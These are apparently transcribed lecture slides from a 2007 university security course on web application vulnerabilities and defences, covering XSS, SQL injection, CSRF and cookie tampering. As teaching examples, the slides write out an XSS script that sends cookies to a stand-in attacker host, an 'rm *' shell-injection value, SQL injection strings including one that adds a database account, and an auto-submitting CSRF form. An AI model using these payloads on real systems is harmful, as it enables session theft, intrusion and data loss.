1 secure web site design dan boneh cs 155 spring 2007 project 2: out today
Post on 21-Dec-2015
215 views
TRANSCRIPT
1
Secure Web Site Design
Dan Boneh
CS 155 Spring 2007
Project 2: out today
2
Vulnerability Statistics: web is “winning”
0
5
10
15
20
25
2001 2002 2003 2004 2005 2006
Web (XSS) Buffer Overflow
Source: MITRE CVE trends
Majority of vulnerabilities now found in web software
3
Schematic web site architecture
IDS
ApplicationFirewall(WAF)
Fire
wall
LoadBalancer DB
WS1
WS2
WS3
Fire
wall
Authorization
Netegrity (CA)Oblix (Oracle)
To CCprocessor
AppServers
4
Web Application Firewalls
• Prevent some attacks we discuss today:• SQL Injection• Form field tampering• Cookie poisoning
• Some examples: Imperva Kavado Interdo F5 TrafficShield Citrix NetScaler CheckPoint Web Intelligence
5
Our focus: web app code
Common web-site attacks:
Denial of Service: later in course
Attack the web server (IIS, Apache) : e.g. control hijacking: CodeRed, Nimda, … Solutions:
Harden web server: stackguard, libsafe, … Worm defense: later in course.
Host based intrusion detection, Worm signatures generation, shields.
Today: Common vulnerabilities in web application code
6
Web app code
Runs on web server or app server. Takes input from web users (via web server) Interacts with the database and 3rd parties. Prepares results for users (via web server)
Examples: Shopping carts, home banking, bill pay, tax
prep, … New code written for every web site.
Written in: C, PHP, Perl, Python, JSP, ASP, … Often written with little consideration for
security.
7
Background …
8
GET /default.asp HTTP/1.0Accept: image/gif, image/x-bitmap, image/jpeg, */*Accept-Language: enUser-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)Connection: Keep-AliveIf-Modified-Since: Sunday, 17-Apr-96 04:32:58 GMT
HTTP Request
Method File HTTP version Headers
Data – none for GET
Blank line
GET: no side effect. POST: possible side effect.
9
HTTP/1.0 200 OKDate: Sun, 21 Apr 1996 02:20:42 GMTServer: Microsoft-Internet-Information-Server/5.0 Connection: keep-aliveContent-Type: text/htmlLast-Modified: Thu, 18 Apr 1996 17:39:05 GMTContent-Length: 2543 <HTML> Some data... blah, blah, blah </HTML>
HTTP Response
HTTP version Status code Reason phrase Headers
Data
10
Document Object Model (DOM)
Object-oriented interface used to read and write docs web page in HTML is structured data DOM provides representation of this hierarchy
Examples Properties: document.alinkColor, document.URL,
document.forms[ ], document.links[ ], document.anchors[ ]
Methods: document.write(document.referrer)
Also Browser Object Model (BOM) Window, Document, Frames[], History, Location,
Navigator (type and version of browser)
11
Cookies
Used to store state on user’s machine
BrowserServer
GET …
HTTP Header:Set-cookie: NAME=VALUE ;
domain = (who can read) ;
expires = (when expires) ;
secure = (only over SSL)
BrowserServerGET …
Cookie: NAME = VALUE
Http is stateless protocol; cookies add state
If expires=NULL:this session only
12
Cookies
Brower will store: At most 20 cookies/site, 3 KB / cookie
Uses: User authentication Personalization User tracking: e.g. Doubleclick (3rd party
cookies)
13
Browser Same Origin Principle
Web sites from different domains cannot interact except in very limited ways. Applies to: Cookies: cookie from origin A not visible to
origin B Properties: script from origin A cannot read or
set properties for origin B
Two origins are the same iff Domain-name, port, and protocol are equal
https://www.example.com:443/whoami http://www.example.com:443/hello
Note: setting document.domain changes origin. Can only be set to suffix of domain name.
14
SOP ExamplesExample HTML at www.site.com
Disallowed access:<iframe src="http://othersite.com"></iframe>alert( frames[0].contentDocument.body.innerHTML )alert( frames[0].src )
Allowed access:<img src="http://othersite.com/logo.gif">alert( images[0].height )
Note: SOP allows “send-only” communication with othersite
15
Web Application Vulnerabilities
16
Common vulnerabilities (OWASP)
Inadequate validation of user input Cross site scripting SQL Injection HTTP Splitting
Broken session management Can lead to session hijacking and data theft
Insecure storage Sensitive data stored in the clear. Prime target for theft – e.g. egghead, Verizon. Note: PCI Data Security Standard (Visa,
Mastercard)
17
Warm up: a simple example
Direct use of user input:
http://victim.com/ copy.php ? name=username
copy.php:
Problem: http://victim.com/ copy.php ? name=“a ; rm
*”
(should be: name=a%20;%20rm%20* )
script name script input
system(“cp temp.dat $name.dat”)
18
Redirects
EZShopper.com shopping cart (10/2004):http://…/cgi-bin/ loadpage.cgi ? page=url
Redirects browser to url
Redirects are common on many sites Used to track when user clicks on external link EZShopper uses redirect to add HTTP headers
Problem: phishing
http://victim.com/cgi-bin/loadpage ? page=phisher.com
Link to victim.com puts user at phisher.com
Local redirects should ensure target URL is local
19
Cross Site Scripting (XSS)
20
The setup
User input is echoed into HTML response.
Example: search field
http://victim.com/search.php ? term = apple
search.php responds with:<HTML> <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?> :
. . .
</BODY> </HTML>
Is this exploitable?
21
Bad input
Problem: no validation of input term
Consider link: (properly URL encoded)
http://victim.com/search.php ? term =
<script> window.open(
“http://badguy.com?cookie = ” +
document.cookie ) </script>
What if user clicks on this link?1. Browser goes to victim.com/search.php2. Victim.com returns
<HTML> Results for <script> … </script>
3. Browser executes script: Sends badguy.com cookie for victim.com
22
So what?
Why would user click on such a link? Phishing email in webmail client (e.g. gmail). Link in doubleclick banner ad … many many ways to fool user into clicking
What if badguy.com gets cookie for victim.com ? Cookie can include session auth for
victim.com
Or other data intended only for victim.com Violates same origin policy
23
Much worse …
Attacker can execute arbitrary scripts in browser
Can manipulate any DOM component on victim.com Control links on page Control form fields (e.g. password field) on
this page and linked pages. Example: inject password field that sends
password to bad guy.
Can infect other users: MySpace.com worm.
24
MySpace.com (Samy worm)
Users can post HTML on their pages MySpace.com ensures HTML contains no
<script>, <body>, onclick, <a href=javascript://>
… but can do Javascript within CSS tags:<div style=“background:url(‘javascript:alert(1)’)”>
And can hide “javascript” as “java\nscript”
With careful javascript hacking: Samy’s worm: infects anyone who visits an infected
MySpace page … and adds Samy as a friend. Samy had millions of friends within 24 hours.
More info: http://namb.la/popular/tech.html
25
Avoiding XSS bugs (PHP)
Main problem: Input checking is difficult --- many ways to inject
scripts into HTML.
Preprocess input from user before echoing it
PHP: htmlspecialchars(string)& & " " ' '
< < > >
htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES);
Outputs: <a href='test'>Test</a>
26
Avoiding XSS bugs (ASP.NET)
ASP.NET 1.1:
Server.HtmlEncode(string) Similar to PHP htmlspecialchars
validateRequest: (on by default)
Crashes page if finds <script> in POST data.
Looks for hardcoded list of patterns.
Can be disabled:
<%@ Page validateRequest=“false" %>
27
28
httpOnly Cookies (IE)
BrowserServer
GET …
HTTP Header:Set-cookie: NAME=VALUE ;
HttpOnly
• Cookie sent over HTTP(s), but not accessible to scripts
• cannot be read via document.cookie
• Helps prevent cookie theft via XSS
• … but does not stop most other risks of XSS bugs.
29
SQL Injection
30
The setup
User input is used in SQL query
Example: login page (ASP)
set ok = execute(“SELECT * FROM UserTable
WHERE username=′ ” & form(“user”) &
“ ′ AND password=′ ” & form(“pwd”) & “ ′ ” );
If not ok.EOF
login success
else fail;
Is this exploitable?
31
Bad input
Suppose user = “ ′ or 1 = 1 -- ” (URL encoded)
Then scripts does:ok = execute( SELECT …
WHERE username= ′ ′ or 1=1 -- … )
The “--” causes rest of line to be ignored.
Now ok.EOF is always false.
The bad news: easy login to many sites this way.
32
Even worse
Suppose user = ′ exec cmdshell
′net user badguy badpwd′ / ADD --
Then script does:ok = execute( SELECT …
WHERE username= ′ ′ exec … )
If SQL server context runs as “sa”, attacker gets account on DB server.
33
Avoiding SQL injection
Build SQL queries by properly escaping args: ′ \′
Example: Parameterized SQL: (ASP.NET 1.1) Ensures SQL arguments are properly escaped.
SqlCommand cmd = new SqlCommand( "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection);
cmd.Parameters.Add("@User", Request[“user”] );
cmd.Parameters.Add("@Pwd", Request[“pwd”] );
cmd.ExecuteReader();
In PHP: bound parameters -- similar function
34
0x 5c \
0x bf 27 ¿′
0x bf 5c
PHP addslashes()
PHP: addslashes( “ ’ or 1 = 1 -- ”)outputs: “ \’ or 1=1 -- ”
Unicode attack: (GBK)
$user = 0x bf 27
addslashes ($user) 0x bf 5c 27
Correct implementation: mysql_real_escape_string()
′
40
Summary thus far
41
App code
Little programming knowledge can be dangerous: Cross site scripting SQL Injection HTTP Splitting
What to do?
Band-aid: Web App Firewall (WAF) Looks for attack patterns and blocks
requests False positive / false negatives
Code checking
42
Code checking
Blackbox security testing services: Whitehatsec.com
Automated blackbox testing tools: Cenzic, Hailstorm Spidynamic, WebInspect eEye, Retina
Web application hardening tools: WebSSARI [WWW’04] : based on information
flow Nguyen-Tuong [IFIP’05] : based on tainting
43
Session Management
Cookies, hidden fields, and user authentication
44
Cookies
Used to store state on user’s machine
BrowserServer
GET …
HTTP Header:Set-cookie: NAME=VALUE ;
domain = (who can read) ;
expires = (when expires) ;
secure = (only over SSL)
BrowserServerGET …
Cookie: NAME = VALUE
Http is stateless protocol; cookies add state
If expires=NULL:this session only
45
Cookie risks
Danger of storing data on browser: User can change values
Silly example: Shopping cart software.Set-cookie: shopping-cart-total = 150 ($)
User edits cookie file (cookie poisoning):Cookie: shopping-cart-total = 15 ($)
… bargain shopping.
Similar behavior with hidden fields:<INPUT TYPE=“hidden” NAME=price VALUE=“150”>
46
Not so silly … (as of 2/2005)
D3.COM Pty Ltd: ShopFactory 5.8@Retail Corporation: @RetailAdgrafix: Check It OutBaron Consulting Group: WebSite Tool ComCity Corporation: SalesCartCrested Butte Software: EasyCartDansie.net: Dansie Shopping CartIntelligent Vending Systems: IntellivendMake-a-Store: Make-a-Store OrderPageMcMurtrey/Whitaker & Associates: Cart32 3.0 [email protected]: CartMan 1.04 Rich Media Technologies: JustAddCommerce 5.0 SmartCart: SmartCartWeb Express: Shoptron 1.2
Source: http://xforce.iss.net/xforce/xfdb/4621
47
Example: dansie.net shopping cart
http://www.dansie.net/demo.html (May, 2006)
<FORM METHOD=POST
ACTION="http://www.dansie.net/cgi-bin/scripts/cart.pl">
Black Leather purse with leather straps<BR>Price: $20.00<BR>
<INPUT TYPE=HIDDEN NAME=name VALUE="Black leather purse"> <INPUT TYPE=HIDDEN NAME=price VALUE="20.00"> <INPUT TYPE=HIDDEN NAME=sh VALUE="1"> <INPUT TYPE=HIDDEN NAME=img VALUE="purse.jpg"> <INPUT TYPE=HIDDEN NAME=return VALUE="http://www.dansie.net/demo.html"> <INPUT TYPE=HIDDEN NAME=custom1 VALUE="Black leather purse
with leather straps">
<INPUT TYPE=SUBMIT NAME="add" VALUE="Put in Shopping Cart">
</FORM>
CVE-2000-0253 (Jan. 2001), BugTraq ID: 1115
48
Solution
When storing state on browser MAC data using server secret key.
.NET 2.0: System.Web.Configuration.MachineKey
Secret web server key intended for cookie protection
HttpCookie cookie = new HttpCookie(name, val); HttpCookie encodedCookie =
HttpSecureCookie.Encode (cookie);
HttpSecureCookie.Decode (cookie);
49
Cookie authentication
Browser Web Server Auth server
POST login.cgiUsername & pwd Validate user
auth=valStore val
Set-cookie: auth=val
GET restricted.htmlCookie: auth=val restricted.html
auth=val
YES/NOIf YES, restricted.html
Check val
50
Weak authenticators: security risk
Predictable cookie authenticator Verizon Wireless - counter Valid user logs in, gets counter, can view
sessions of other users.
Weak authenticator generation: [Fu et al. ’01] WSJ.com: cookie = {user, MACk(user) } Weak MAC exposes K from few cookies.
Apache Tomcat: generateSessionID() MD5(PRNG) … but weak PRNG [GM’05]. Predictable SessionID’s
51
Cross Site Request ForgeryExample: User logs in to bank.com. Forgets to sign off. Session cookie remains in browser state
Then user visits another site containing: <form name=F
action=http://bank.com/BillPay.php> <input name=recipient value=badguy> … <script> document.F.submit(); </script>
Browser sends user auth cookie with request Transaction will be fulfilled
Problem: cookie auth is insufficient when side effects can
happen Correct use: use cookies + hidden fields
52
Take home message:
On the web:Little programming knowledge
can be a dangerous thing
53
THE END